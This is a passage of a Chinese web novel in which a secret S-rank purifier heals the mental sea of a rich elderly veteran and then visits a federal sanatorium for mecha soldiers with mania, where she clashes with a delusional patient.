作为消耗品，这和学画画的买一张画纸花500/1000星币有什么区别——而且还是质量一般的画纸。 精神力在金属内有流动性，也就意味着架构脉络的精神力会向四周渗透，精神力放多还是放少很难把控，练习的效果肯定不佳。 架构引力丝本就是个精细活，手感更是重中之重，在模型机上架构引力丝的手感和真正的机甲应该是一模一样的，属于十分奢侈但好用。 ……早知道B级虫族残骸这么贵，当时在微火秘境她还摘什么星光果，直接掰一条B级虫族的胳膊拖回家好了。 就算原材料达不到模型机188星币/g的价格，折半卖给制作模型机的公司总没问题。 人果然赚不到自己认知范围以外的钱。 赵宴月唉声叹气地出了竞技馆，去旁边的灵兽训练馆接小五放学。 小五还是像小时候一样喜欢趴在训练馆的门口等主人，即便它如今站起来已经有两米多高，但在训练馆内部巨大空间的对比下，趴在地上并不显得庞大。 它一看见赵宴月的身影，水汪汪的绿眼睛和额上的火焰标记霎时亮了一下，出入训练馆的顾客们只见原本冷冷淡淡透着一股生人勿进气息的银白巨狼唰的一下浑身冒火。 它踩着火焰迈着优雅的步伐走到了少女的面前，低下脑袋用力蹭她。 这主人慈灵兽孝的场面实在令人羡慕，空气中响起好几声叹气声——可能是想起了自己家的调皮丑孩子。 “嗷呜嗷呜。” 小五示意赵宴月坐到自己身上，一边轻车熟路地往酒店走，一边不停“嗷呜嗷呜”地汇报着自己今天的训练成果。 “已经三阶了？” 原本仰面朝天躺在小五身上看天上飞行器的赵宴月一个仰卧起坐坐起身，然后又躺了回去夸道：“太厉害了！不愧是小五。” 小五一听这话就来劲，它立马又“嗷呜嗷呜”地讲着自己今天是怎么打败陪练灵兽的。 赵宴月一边夸一边计算起自己吱吱宝里的星币。 进化态三阶理论上已经可以进行进化了，但实际上距离小五进化还差了四阶。 这个升级速度对普通人来说挺快，但如果不考虑日常训练，让小五一直待在她的精神海里，进阶的速度还能更快。 不说别的，贺如故和她是同一届的考生，他的契约灵兽现在就进化到终极态了，说明机甲尖兵系的同学大多在大学之前就已经拥有了机甲，也就是说他们从构建出精神海到契约灵兽再到灵兽进化到终极态只会耗费半年的时间。 这个系的同学本身精神海等级就高，灵兽在精神海里“修炼”的速度也快，灵兽升阶和游戏等级升级似的前期总是更容易，在大学前让灵兽突破终极态倒也不是什么很难的事。 既然小五已经达到了最低进化的等阶要求，那终极态进化材料也该开始准备起来，等它到达进化态七阶就可以马上进行进化。 是时候回一区接点单了，不然小五突破用的S级晶源卖了她也买不起。 说干就干，赵宴月回到酒店后就登上爱心互助论坛发了条公告。 裘花花：“店主近期业务繁忙，闭店两周，重新开业后将上新F级净化晶源。” 来了紫微星赵宴月也维持着一周一次的频率售卖晶源，倒也不是为了赚星币，主要是净化晶源确实特别能训练对精神力的把控。 如果不是有净化无品级晶源的经验，她一开始接触模型机时也不可能那么快就能上手。 就和操控模型机里的成千上万根引力丝一样，她现在可以同时净化上千颗无品级晶源，已经成了净化工厂熟练工。 等无品级晶源的净化损耗率能降到5%之后，赵宴月就打算净化F级晶源，一步步提升操控精神力的精细度。 作为爱心互助论坛里的唯一真神，裘花花小店的公告一出，评论数量就坐火箭似的蹭蹭上涨。 有唉声叹气说闭店两周日子要过不下去的，也有期待F级净化晶源的，还有猜测赵宴月到底绑架了几个净化师的。 不管网友们怎么说，反正赵宴月就是上来发个通知，然后就关闭了论坛给段院长发了封邮件，表示自己鬼混回来了。 在收到赵宴月邮件的时候，段院长的心情已经如同一潭死水般平静。 赵宴月离开一区的第一天，她心急如焚心烦意乱。 赵宴月离开一区的第十天，她心平气和心如止水。 赵宴月终于在邮件里说要回一区并且指定了她给出名单上的第一个净化人选的时候，段院长的心已经死得差不多了。 “选了这个老家伙。”她平静地点开了熟人的通讯开始做准备工作，顺口感叹道：“真是幸运啊。” 这可是S级精神海真正意义上的首次被净化，能写进联邦大事纪里的那种，明天的日期都能在未来成为考点。 作为事件参与人，这不谁来都得说一句幸运。 没过多久，通讯就被对面接了起来。 须发皆白的老人十分真实地从屏幕里投射了出来，就好像真人连同他身边的环境一同出现在了眼前。 “贺老爷子，别来无恙，你看着还是这么精神。” “人老喽，早就不中用了。” 面前的人正佝偻着身子，神色轻松地端着浇水壶给他种的花花草草浇水，任谁都看不出这个穿着简单的老人会是大名鼎鼎的联邦首富。 “段院长无事不登三宝殿，应该是有事找我？” “确实有事，不过是好事。”见他开门见山，段院长也没多卖关子，稍稍严肃了起来道：“以下我说的话都是保密内容，后续也需签署一份保密协议。” 贺老爷子听到这话有些讶异，他放下水壶坐到了身边的躺椅上，行动上表示自己认真在听，嘴上却开着玩笑道：“我都时日无多了，什么保密内容还要专门告诉我？” “谁说你时日无多了？”段院长显然不爱听这话，立刻反问道。 见她这态度，贺老爷子以为她是想劝自己撑到精神海崩塌的那一天，打这个通讯是给自己做思想工作来了。 这种话他这段时间已经听了太多，或者说这几十年都听得太多，没经历过狂躁症发病痛苦的人根本不知道死亡对他们来说其实是解脱。 段院长好歹年轻时和他也是并肩作战过的，一看他这模样就知道他想岔了。 她直截了当地开口道：“明天会有一位S级殿下去你家给你净化精神海，如果你有什么事的话都往后推一推，由于某些特殊原因，关于她的所有信息都需要对外保密，以防被外界有心之人盯上，所以到时候你只需要当做接待普通客人就好了。” 一段话下来，贺老爷子从迷茫变成了镇定。 他只觉得自己大概精神错乱了，不然怎么会听到这种没有逻辑的话。 S级殿下□□……？ 也对，精神海稳定剂他已经很长一段时间没有使用了，精神出问题是正常的，出现幻听也是正常的。 更严重点来说，可能段院长给他打的这个视频通讯也是幻觉。 第47章 虽然怀疑发生的一切都是自己的幻觉, 但在段院长一遍又一遍的叮嘱下，贺老爷子还是推掉了第二天的所有事务。 看着从吃早餐的时候就有些心神不定，今天更是连花都没去浇的老爷子, 贺江山也有些困惑。 “您是在担心贺如故吗？他那边我已经安排好了。” “不是他的事。”贺老爷子回过神道。 他站起身在客厅来回踱步了一圈, 然后又看向贺江山问道：“你说我这精神方面是不是出问题了？” “您的神智很清醒。” “可是我最近没注□□神海稳定剂。” “那您的神志也很清醒。” 可能是因为贺老爷子平日里干什么都气定神闲，如今只是稍微透漏出一些焦躁, 就能让人感受得很明显。 他已经不知不觉从贺江山眼前走过第二圈，贺江山思考着要不要叫医生过来看看，想了想又按下了这个心思。 虽然老爷子今天格外焦躁, 但至少比以前那样生死看淡只等驾鹤西去好多了。 贺江山知道老爷子打算在下次发病的时候就结束一切，难过归难过, 但不管是他和贺如故都尊重老爷子的选择。 或者说最没有资格劝说老爷子继续撑下去的人就是他和贺如故。 时间一点点过去，贺江山忍了又忍，最终还是伸手揉了揉太阳穴, 觉得医生该叫还是得叫。 老爷子有活力是好事, 但像个拧了发条的陀螺一样在客厅转来转去的转了一下午也不是个事。 “叮铃铃。” 门铃就是在这个时候响了起来，伴随着清脆的门铃声, 贺老爷子终于不再走动，而是整个人都僵在了原地。 保姆上前接起了可视电话, 然后转过头看向主人家询问道：“是个小姑娘, 说今天预约了来拜访。” “对、对, 是有这么回事。”贺老爷子看似从容, 仔细一听嗓音竟然有些微颤, 看起来竟然有些紧张：“快请她进来、不，我自己去接。” 赵宴月到了一区便赶往了客户家，按下门铃没一会儿就看见一个气质很是随和的老爷子亲自迎了上来：“殿……，有失远迎。” 话一出口, 他反应很快地含糊了称呼。 “叫我月月就好。”赵宴月进屋落座，她谢过保姆递来的茶，笑了笑问道：“今天特意过来拜访，老爷子身体还好吗？” 坐在一边完全被贺老爷子忽视了的贺江山不动声色地看着两人寒暄。 他这么大一个人坐在这，竟然连贺老爷子的一句介绍都得不到，不知道的还以为他是空气呢。 一老一少的交流相当自然，老爷子向来平和的目光里含着些许激动和热切，看赵宴月的眼神就好像她是什么再尊贵不过的客人。 贺江山见他们寒暄了没一会儿，少女便开口道：“对了，我今天来主要也是想和您说点事，恐怕不方便有外人在场。” 贺老爷子从善如流地站起身：“那去书房谈可以吗？” 看着两人上楼的背影，贺江山手指无意识地在沙发的扶手上敲击着，对贺老爷子的态度心中疑惑。 少女的脸他前不久见过，虽然当时并没怎么在意，但是也不至于才隔了半个多月的时间就认不出来了。 她竟然和贺家除他之外的人都有交集，而且老爷子对她的态度着实有些奇怪。 老爷子这么多年来向来是别人有事求他，贺江山甚至都想不出这个世界上有谁能让老爷子变成这样——人家只是上门拜访，他就心神不定坐立难安了一整天。 另一边的赵宴月进了书房便顺手反锁了门，她很是自来熟地打量了一遍书房的陈设，然后随手指了个椅子道：“您坐那就行，放松一些，很快就好。” 贺老爷子虽然没经历过精神海净化，但他曾经看过许多被净化的契约者容光焕发宛若新生。 一直以来他都清楚地知道等待他的不会是新生，只有长久的暗无天日的折磨。 他只能承担着巨大的痛苦踽踽独行，心惊胆战地等待着某一刻突如其来的发病。 这种痛苦并不能被适应，只会一层层叠加，无关任何身份地位，它让人变得越来越胆怯，越来越畏惧，然后主动走向灭亡。 日复一日，年复一年，在痛苦的滋养下，心里甚至不可避免会产生某种阴暗的怨恨。 怨恨这个世界上为什么没有S级净化师，怨恨自己的天赋为什么会成为刺死自己的利刃。 如今真有一个S级净化师站在他面前，这个已经做好解脱准备的老人一时间有些无所适从，说不清自己现在是种什么心情。 他哑着嗓子说了句“辛苦了”便十分端正地坐了下来，唯有稍快的心跳在胸膛砰砰作响，又酸又胀。 赵宴月只当这是一次平平无奇的净化，她上前站到椅子后，十分讲究效率二话不说地将精神力探进了老者的精神海。 严格意义上来说，这已经是她第二次给别人净化精神海。 精神力探进去便碰到了精神海屏障，一股狂躁得像是一股龙卷风一样要将人搅碎的精神力瞬间被触发。 这个流程赵宴月已经很熟悉了。 她的精神力本身也是个好战分子，平时都憋憋屈屈的不是被用来刻画晶源回纹就是憋憋屈屈的被用来架构引力丝，总之就是憋憋屈屈的被主人揉圆搓扁。 这下好不容易到了它的主场该它发挥了，它便立马张牙舞爪地也化身龙卷风迎了上去。 两股精神力不断交织又分开，下一秒又撞了上去，双方都狂躁得像发了疯的野牛，根本分不出到底谁才是狂躁症患者的精神力。 第一次被触发精神海屏障而出现的精神力刚开始还气势汹汹，打着打着就发现入侵的精神力不但十分强势，而且打架的花招还特别多，就像是经过什么专门的训练似的。 从最初的分庭抗礼打到落于下风，再到败下阵来都没有花费太多的时间。 贺老爷子的精神力原本控制不住的暴躁烦躁焦躁在输掉的一瞬间全泻了，它像是被迫洗心革面了似的，十分平和地重新融入了屏障之中。 而入侵者学着它的模样，把自己化身龙卷风卷来卷去高呼胜利，气焰十分嚣张。 感应到精神海已经变成了可进入状态，赵宴月也不客气，调动起全部的精神力如狂风过境般闯进了一片浓黑里。 一次清理不干净，第二次再想进去又得打一架，净化自然是一步到位最好。 少女站在气质随和又贵气的老者身后，她双手交叉着覆盖在老人的眼睛上，乌黑的长发无风而起，垂着眸的模样带着点从容的掌控感。 入侵者高调又强势地穿过屏障闯进了精神海，所过之处如墨水般浓重的黑色雾气顿时一清。 随着入侵者飞速掠过精神海的每一个角落，它庞大的身躯也一点点湮灭，和刚进来时的模样对比起来显得格外纤细。 原本伸手不见五指的精神海刹那间变得干净而澄清，一只赤焰虎不知何时悄无声息地出现在了赵宴月精神力的身边。 它迈着十分有压迫感的步伐来回打量着这个让整个精神海天地都为之变色的一团，低头嗅了嗅又用脑袋去碰，结果碰了个空。 赤焰虎脑袋一顿，看似漫不经心地围着精神力转了一圈，然后趁其不备猝不及防地朝精神力扑了过来。 它要把这团精神海清理大师留在自己家里当个镇宅神器，不然精神海里黑糊糊的待久了灵兽都抑郁了。 可惜清理大师无影无形，任由它怎么扑也没抓到。 赵宴月看着身上不管是肥肉还是肌肉都很多的赤焰虎，也感到了有些震撼。 见多了瘦骨嶙峋的污染灵兽，她今天还是第一次见长得比正常灵兽还壮实的。 赵宴月啧啧称奇地又看了一眼，这才操控着所剩不多的精神力退出了贺老爷子的精神海，赤焰虎迈开脚步跟在后面追了半天，不舍之意溢于言表。 随着赵宴月的精神力退了出来，老爷子若有所感地睁开眼。 他感受了一下变得全然陌生的精神海，心里各种各样的的情绪不断翻涌，一时难以消化。 上一次见到这么干净的精神海，已经是几十年前刚构建出精神海的那会儿了，如今都快忘了它原本的模样。 也就在这一刻，贺老爷子心中的不真实感和那些繁杂的思绪彻底褪去，随之而来的是难以言喻的振奋。 真正的S级净化师。 只要她存在，联邦的S级机甲尖兵就将成为一股无可匹敌的力量，面对虫潮时可以不再靠战士数量上的巨大牺牲去换取防线的稳固。 她不仅是S级机甲尖兵的希望，更是无数普通战士最强大的后盾。 贺老爷子平息了一下激荡的心情，正要开口道谢，却听赵宴月先一步开口说道：“您的契约灵兽养得真好。” 话一出口，老爷子便听懂了她的潜台词：“这多亏了褚青殿下，他能净化高等级晶源，我算是他的老顾客了。” 原来如此。 之前赵宴月就听说过褚青能净化A级晶源，当时她还想着灵兽突破用的晶源又用不着净化，现在看来总有人能用到。 可惜大部分人都没法把动辄几十上百万的高级晶源当成食物喂给灵兽吃。 赵宴月在内心感叹过后便提出告别，贺老爷子也没贸然挽留，只是十分朴素地往她手里塞了张黑卡。 “段院长说殿下出手的标准价是一百万星币一次，但是我觉得这定价未免低了些，这张卡不限额度，殿下可以随便花。” 好耶！是黑卡星际版。 赵宴月根本不知道什么叫客气，她接过卡后声音都甜了一个度：“谢谢贺爷爷，有需要随时叫我。” 贺老爷子看她没推脱顿时心花怒放，连连应好，想了想又关心道：“听说我是殿下第一个净化的狂躁症患者，其他人都没注□□神海稳定剂，时间一长估计脑子多少有点病，殿下净化的时候小心。” 赵宴月点点头，听到这话稍稍上了点心，但不多。 下楼的时候她发现贺如故的冷淡哥哥还在原地坐着，连姿势都没变过。 她和贺江山也不熟，双方对视一眼各自微微颔首当做打招呼便作罢。 亲眼看着赵宴月被易秋接走，贺老爷子这才放心，他笑眯眯地转过身，然后就听到贺江山问道：“她和您说什么事了？” 贺老爷子脸色一沉：“大人的事小孩子少打听。” 贺江山冷着一张脸道：“……我成外人了是吗？” “啧。”贺老爷子端起茶杯喝了口水：“你知道就好，所以你有点边界感行不行。” 被接连怼了好几句的贺江山一时无言，也不知道自家老爷子今天是不是眩晕菇吃中毒了，情绪起伏格外大不说还有些性格大变。 贺如故向着她，老爷子也向着她。 “您知道她和贺如故是……”贺江山回忆了一下贺如故面对赵宴月时嘴里动不动就冒出来的“喜欢”，最后选了个折中的词道：“……是好朋友吗？” “真的假的？”贺老爷子差点被茶水呛到，这回真的有些讶异了：“那如故这小子真是出息了。” “出息？按照您的性格，您这个时候不应该怀疑一下她接近你们的居心？” “行了行了，少疑神疑鬼的，你老关注我们月月干什么，你以后要是遇到了人家态度好点听到没？” “你们？”贺江山不置可否，声音依旧十分冷淡：“怎么就‘你们’了？是要把我逐出这个家吗？” 贺老爷子现在一身轻松，为了防止他继续问来问去，他用手一摸脑袋道：“嘶，头疼，好像要发病了，我先回房间了。” 第48章 之前听贺老爷子说狂躁症患者很难搞, 赵宴月无动于衷，现在她知道为什么会这么说了。 段院长给出名单上的每个人都战功赫赫，但她也每个都不认识, 所以第二个客户她干脆挑了个名字曾经在星网上见过的——柏慈。 据联邦统计, 从患上狂躁症到走向自鲨的结局，平均用时为五年, 而这位患者患上狂躁症已经六年。 看着段院长给出的地址，赵宴月眉毛一挑，收拾收拾坐上了联邦派来的军用飞行器。 此行的目的地不是居民区, 而是联邦疗养院——或者说患上狂躁症的S机机甲尖兵收留所，网友们更喜欢把它叫做禁区。 如果不使用精神海稳定剂, 狂躁症患者除了时不时的头疼发病之外，时而还会精神错乱。 对普通人来说，发疯能造成的破坏力有限, 但是一名S级机甲尖兵有攻击性地发疯无异于核弹爆炸, 必须采取相关措施进行防护。 联邦疗养院就是这样一个地方，大家都知道它的存在, 但是除了特定人员外，基本没人见过它的真面目。 赵宴月也很难想象寸土寸金的一区还存在一个这样地方, 在空中往下看就像是人为地打造了一个封闭的海岛。 飞行器落到地面上, 舱门一开就有带着点咸腥气息的海风扑面而来。 联邦疗养院的负责人邱院长已经等候多时, 见到赵宴月一行人便迎了上来。 他和负责护送赵宴月的军官打了个招呼, 目光匆匆从赵宴月的脸上扫过, 带着点敬畏和谨慎，语气中有着压抑不住的激动：“殿下贵安。” 面色冷峻的军官咳了一声，侧身一步隔断在两人之间，将邱院长的注意力拉回到自己身上。 ……然后严肃地强调了几遍有关殿下安全性问题的注意事项若干条。 赵宴月没注意他们说话, 而是有些新奇地打量着这片海岛。 海岛的占地面积相当广阔，海浪扑打在礁石上，碰撞出白色的浪花，发出一波又一波的冲击声。 这里有商业街有居民区有医院，街上的行人数量寥寥，看着和正常的海边城市没什么两样——只不过被时不时闪过一丝蓝光的透明能量罩笼罩着。 不注意到还好，一旦注意到便或多或少会让人感到一丝压抑，又或者这种压抑感只是因为今天的天气着实阴沉，黑乎乎的看着好像马上要下雨。 邱院长终于听完了冗长的注意事项，他呼出一口气，总结一下就是“保护殿下的安全，一根头发都不能掉”。 “柏慈上将就在疗养院里面，殿下请随我来。” 眼前充满科技感的有点像医院一样的恢弘建筑上写着“联邦疗养院”，赵宴月指着远处刚从街角便利店里走出来的行人问道：“除了患者外，这岛上还住着其他人吗？” 邱院长顺着她的视线看去，然后摇了摇头，心里知道她这么问的原因，便进一步细致解释了一番：“整座海岛都是联邦疗养院，并不只是眼前这一栋，只不过患者们平时清醒的时候都是在海岛上正常生活，遇到特殊情况才会进这栋疗养院。” “院里的患者们都对联邦做出过巨大贡献，联邦也在尽可能保证他们的正常生活，而不是将他们囚禁在牢笼里，如果想离开这座岛，也只需要签署一份精神海稳定剂注射条例就可以了。” “离开的人多吗？”赵宴月的目光从端着医疗器械的机器人身上划过，有些好奇地问道。 “几乎没有。”邱院长苦笑道：“狂躁症对于S级精神海来说就是绝症，虽然说是等精神海崩塌，其实大家的心态和等死没有区别。” 他说到这看了眼赵宴月，眉心的褶皱稍微舒缓了一些：“不过现在有殿下在，一切都会好起来的。” 走到病房区的时候，刚转过一个回廊拐角，正巧有好几个穿着白大褂的医护人员推着医用转运床迎面而来，好几人身上都带着伤。 两个人高马大的医护人员坐在一头红毛的患者身上，一个按住了患者乱动的手，一个按住了患者乱蹬的腿。 两人额上青筋暴起，看得出患者力气大得像水牛，医护人员想要控制住他很吃力。 赵宴月看着患者手腕上发出“嘀嘀嘀”警报声的监测器，又像是发现了新大陆似的问：“这是什么？” “监测手环，一旦检测到患者攻击欲望超过安全阈值就会向疗养院发送警报，我们会第一时间赶到现场进行控制。” “控制？”赵宴月一听到这个词，脑子里便浮现出机甲大战的场面：“很危险吗？” “主要是确定患者状态，如果是因为精神错乱导致的攻击行为，我们会想办法给患者佩戴上精神力隔断颈环，然后再送到疗养院。” 邱院长在“想办法”这三个字上加重了语气，听得出来这个过程应该挺激烈。 他顿了顿道：“只要带上颈环，即便是S级机甲尖兵，除了力气大点也和普通人没有区别。” 竟然还有这种东西。 赵宴月发现盲点，立马出起了馊主意：“反正等精神海崩塌之后也会变成无精神力者，不如直接带着精神力隔断颈环回归正常生活，还不用打会延长精神海崩塌期限的精神海稳定剂。” “理论上是这样，但是无精神力是比断手缺腿还严重的残疾。”邱院长说到这，冷不丁地讲了个地狱笑话：“没有人会因为未来可能会残疾干脆让自己现在就残疾。” 赵宴月沉默两秒：“……好有道理。” 她对“无精神力就是残疾”的感触不是很深，毕竟她底子里是个地球人。 和赵宴月一番接触下来，邱院长发现她身上完全没有净化师们特有的倨傲，面对“S级殿下”时的忐忑也少了许多。 随着紧绷的神经松弛了一些，他带着赵宴月出了电梯，也有心情半开玩笑半认真道：“其实还有一个原因，S级精神海都是站在金字塔尖的天之骄子，自尊心比一般人高得多，他们觉得带颈环和带狗链一样，除非精神错乱的时候被强制佩戴，否则在清醒状态下绝对不会佩戴这种东西的。” “……那很坏了。” 邱院长叹了一口气，十分感同身受道：“真搞不懂他们。” 毕竟他参与研发的颈环还挺好看的，虽然研发出来之后更多用在了监狱里的犯人身上，但是确实挺好看的。 说话间，邱院长在标注着6-107的厚重病房门外停了下来：“柏慈上将的意识是清醒的，只是出于安全方面的考虑才将净化的地点定在了疗养院，殿下可以进去了。” 赵宴月伸手搭在门把手上，开门前想了想又扭过头问道：“所以他带颈环了吗？” 邱院长闻言立马挺直了腰杆：“当然，殿下的安全是第一位，我们不会犯这种低级错误。” 那没事了。 她才懒得管别人愿不愿意戴，听到这话放心地开门走了进去。 邱院长留在原地，想起自己说服柏慈的过程，很是心累地抹了把汗。 病房内与外面的冷色调截然不同，房间里的陈设都很高档，比起病房更像是酒店里的奢华行政套房，沙发书桌阳台应有尽有。 穿着休闲的男人闻声看了过来，他唇角微勾，眼中折射出房间里暖色的灯光，却显得格外冰冷而无机质，透着一股诡谲又危险的美丽。 不愧是星网上粉丝超多的S级机甲尖兵，这长相在当年的S级精神海采访合集里完全可以C位出道。 窗外开始噼里啪啦地下着大雨，树上的树枝都被狂风吹得向左侧倾倒，不太牢固的叶子纷纷被风雨击落，关了窗的房间里一片静谧。 赵宴月的眼神在他被颈环束缚住的修长脖颈上看了一眼，确认它在正常运作后才抬腿走近，开门见山道：“你好，躺好放松。” 柏慈像是没听见一般，维持着坐着的姿势一动不动，要不是他的胸膛还在微微起伏，不知道还以为是一具栩栩如生的蜡像。 发病了？ 死机了？ 赵宴月正打算仔细研究一下，终于听见男人发出了声音：“S级净化师？” 他的声音低沉悦耳，但透着点奇异的空洞感。 “对，麻烦配合一下。” “我曾经一直盼望你的出现。” 赵宴月：“……？” 她是净化师，又不是心理咨询师，赵宴月眉头一皱道：“那怎么了，现在不盼望了？那我走？” 男人抿了抿唇，垂眸没有说话了。 “躺好。”赵宴月懒得多说。 现有的拥有S级精神海的契约者数以万计，一天一个都够净化几十年了，她才懒得惯着他。 柏慈原本一潭死水般的眼神变了变，看向赵宴月的目光里冰冷中又有些怨恨，还夹杂着一丝更隐晦的东西。 渴望、绝望、残存的希望，一切复杂难辨的情绪在触及到赵宴月有些不耐烦的神色后统统平息。 柏慈冷着一张脸直直地往后倒了下去，躺在沙发上一动不动。 感受到赵宴月的靠近，男人的身体也几不可察地绷紧了一瞬，然后变得越来越僵硬，连呼吸声都放轻了。 赵宴月刚靠近床边，就见原本闭着眼睛的人突然睁开了眼。 他的眼神变得虚幻又迷离，连焦距都是涣散的，仿佛灵魂都被抽离了。 男人无视了赵宴月的存在，下了床跌跌撞撞地蹲到了墙角，失魂落魄又神经质地喃喃自语：“我不种进土里会死……没有人能救我。” 赵宴月：“……” 坏消息，患者精神错乱了。 好消息，精神错乱但没有攻击性。 她走到墙角蹲下身，听到了男人含糊不清的呓语：“有蚂蚁在啃我，有蚂蚁在啃我，有蚂蚁在啃我……” 他高大的身躯蜷缩在一起，显得异常脆弱又无助，就好像正在承受某种无形的巨大的痛苦，看着着实有点可怜。 赵宴月怜爱地叹了一口气，然后从容地坐回沙发上点开光脑开始上网冲浪。 在神志不清醒的状态下强行冲进别人的精神海，只要对方潜意识里是抗拒的，那就有一定概率会把人变成傻子。 赵宴月不敢赌柏慈会不会抗拒，反正她也不着急，干脆等顾客自己恢复神智。 要是把人治傻了，他的粉丝们估计也要闹了，就算看着净化一次一百万的份上，赵宴月也有的是耐心和力气。 过了一会儿，赵宴月正10G冲浪冲得上头，头顶却传来男人清朗的声音：“你好，打扰一下。” 赵宴月闻言抬头，却见柏慈不知何时已经站到了她身边，正居高临下地看着她。 她审视着他的神态，试图判断一下他是不是清醒过来了，却听柏慈声音温柔又羞涩地开口道：“我有喜欢的蘑菇了，我可以和它结婚吗？” “……” 赵宴月重新低下头上网冲浪，语气宽容得像教堂里的神父：“可以的客人，你想干什么都是可以的。” 柏慈不满意她敷衍的态度，又强调了一遍：“我说我有喜欢的蘑菇了。” 众所周知，对待精神病最好的办法就是顺着他。 “嗯嗯。”赵宴月回道：“那你可以和它结婚，还可以和它生很多小蘑菇。” 柏慈似乎对她的回答依旧不满意，脸上温柔的笑意一点点碎裂，就像是撕破了某种伪装。 他俯下身靠近赵宴月，神色冷下来一字一顿地清晰重复道：“不对，我说我有喜欢的蘑菇了。” 就算对面是精神病，赵宴月也不受这气，她啪的一声把桌上拍得震天响，金属圆桌上装着抽纸的木盒都被震了起来。 “你有喜欢的蘑菇关我什么事，要我帮你处理掉吗？” 柏慈被她吓得一个激灵，然后下一秒脸上的冰冷如春雪般消融，他的笑容变得明媚起来：“真的可以吗？真是太麻烦你了！” 第49章 什么叫精神病。 有了喜欢的蘑菇所以要把它处理掉, 和有了喜欢的人就要把他杀掉有什么区别。 “你觉得自己是蘑菇？为什么想把喜欢的蘑菇处理掉？”赵宴月兴致一起，临时cos了一把心理医生问诊道。 柏慈垂眸看向她，长长的睫毛在眼下投出一小片阴影, 遮掩住了眸中的神色, 只听他十分认真地回答：“真正的强者就应该断情绝爱。” wellwellwell。 赵宴月一下子就接受了他的逻辑，她身体往后一靠, 倚在了沙发柔软的椅背上，像是个遇到了疑难杂症的老中医一样连连摇头叹气。 “难办，你这情况很难办啊。” 她的手指在圆桌上发出有节奏的敲击声, 开始胡说八道：“‘喜欢’是一种思想，说明你喜欢的蘑菇不长在土里, 而是长在你的脑子里。” “不过好在你碰到了我，这样吧，你别反抗, 我用精神力进去帮你治治。” “不对, 不长在我的脑子里。” 柏慈有些迟缓地歪了歪头，用一种纯然的眼神和赵宴月对视了一眼：“我喜欢的蘑菇……明明就在我面前。” 话音一落, 一种如同被顶级猎食者锁定的颤栗感骤然升起，赵宴月只感觉她仿佛被当成了某种即将被猎杀的猎物。 柏慈脖子上的颈环毫无预兆地倏然亮起蓝光, 这代表着他的攻击欲已经超过安全阈值, 精神力隔断效果被启用了。 颈环上细密的纳米探针顿时隔断了精神海和躯体的链接, 带来一阵轻微的刺痛感。 “嘶。”柏慈伸手摸了摸颈环忽然泄了气, 他语气茫然又委屈, 还带着点孩子气的无助：“我好像……坏了？你可以自己解决吗？” 她解决什么。 解决她自己是吗。 赵宴月从小到大都不是个好惹的人，她脸色阴沉地站起身，毫无预兆地反手在柏慈有如神造的脸上甩了清脆的一巴掌：“不识好歹。” 这一巴掌不仅镇住了柏慈，也震住了撒因, 它上线发表醍醐灌顶般的感叹。 【我现在知道你的精神力为什么喜欢扇人巴掌了】 【不愧是你的精神力，简直是一脉相承、一脉相通、一脉相传、一……】 “小嘴巴闭起来。” 【好的】 撒因回完立马下线，继续去星网冲浪去了。 而眼前被甩了一巴掌的男人伸手捂住了脸，不可置信又泫然欲泣地看向赵宴月：“你打我？你为什么打我？你说过要帮我处理的。” 她真是跟神经病讲不清楚。 赵宴月气不过又低骂一声，她站起身去拉病房的门，决定挑一个正常点的来净化，反正院里的患者多的是。 见到了就是有缘，刚才那个红毛也不错。 柏慈见她要走迈开脚步就要追，赵宴月伸手一甩，垫在圆桌下的小型地毯垫“嗤啦”一声燃起黑红的火焰。 易燃物和高温的碰撞下火焰瞬间高高窜起，像是一道火墙般隔绝了柏慈向前的步伐。 带了颈环还敢挑衅她这个尊贵的C级契约者。 真是好大的胆子。 柏慈察觉到她的态度突然变得冷硬，更重要的是自己似乎才是更弱的一方，他迟钝又缓慢地蹲了下来把自己缩成一团。 隔着不断升腾的黑红火焰，柏慈小心翼翼地抬头看向赵宴月，眼睛里带着一点小动物般湿漉漉的祈求。 “那你帮我治治脑子好不好，我不会反抗的。” 可喜可贺，解决不了她终于知道解决自己了。 “现在知道从自己身上找问题了？”赵宴月嗤笑一声：“活该，我管你去死。” 沉重的病房门啪的一声被打开，站在外面的邱院长见她出来询问道：“结束了吗，这么快？” 赵宴月眨了眨眼，有些羞涩地笑了笑：“私密马赛院长酱，患者不是很配合，我不小心把屋子烧了一点点。” 看着赵宴月比划的一小点食指尖尖，邱院长也没有很紧张，探头从门缝里看了眼情况。 病房的建造材料隔水防火，只有金属圆桌下的小地毯烧成了一地灰，隐隐还能看见一点火星子，而柏慈垂着头蹲在灰烬边一动不动。 他吩咐工作人员进屋灭一下火，顺便查看一下柏慈的情况：“殿下没事就好，柏慈上将是发病了吗？” 除了发病之外，邱院长根本想不出他有什么不配合的理由。 柏慈的狂躁症已经患了六年，这一路走来有多痛苦只有他自己知道，不可能不配合。 赵宴月点了点头，想着今天的工作还没有完成，主动道：“这一层病房里有谁现在是清醒的吗，我可以就近过去净化。” 殿下真是太平易近人了，出现了这种意外竟然也没有追究的意思。 虽然发病确实是不可控的因素，但换了其他净化师怎么也要低声下气地赔礼道歉一番，她竟然还会想着继续完成工作。 邱院长感觉自己那颗比在大润发杀了十年鱼的刀还要冷硬的心脏都一下子都变得软乎乎的，连连应道：“刚好还有一个，殿下请跟我来。” 他一边带着赵宴月往前走一边说道：“刚刚转运床上的患者现在已经清醒了，短时间内都不会再发病，这次肯定不会再出现意外。” “这么巧？” 刚刚转运床上的不就是那个红毛，赵宴月有些讶异。 “他刚患上狂躁症不久，出现精神错乱并发症也不会持续很长时间，刚送到病房人就清醒了，刚好颈环还没来得及摘，也不用再戴一次。” 说话间，隔得并不远的6-117房间就到了，邱院长刚打开房门，一头红毛的年轻男人便凑到了门边。 他的视线划过赵宴月停留到了邱院长的身上，然后有些烦躁地抓了抓自己乱糟糟的红毛：“邱院长怎么亲自来了？不管了，赶紧帮我把这狗链解开。” “祁上校稍安勿躁。”邱院长微微侧身介绍道：“这位是赵宴月殿下，殿下来帮你净化精神海，这狗……颈环委屈上校多戴一会儿。” “啊、啊……啊？” 祁燃在脑子里处理了一下这段话，但是显然CPU过载，没能处理明白。 他指了指自己，又看了眼赵宴月，最后又重新看向邱院长：“帮我净化精神海吗？我没听错吧？没记错的话……我应该是S级精神海？” “是这样的，殿下也是S级精神海。” 祁燃眉头一皱，比起惊喜感受到更多的是惊吓，他只觉得事情一百分有一百零一分的不对劲。 “真的假的，你别骗我，真有S级净化师联邦早敲锣打鼓地昭告全世界了，我怎么可能不知道。” 不等邱院长开口，祁燃一拍脑门恍然大悟：“坏了，我指定是又神经病发作了。” 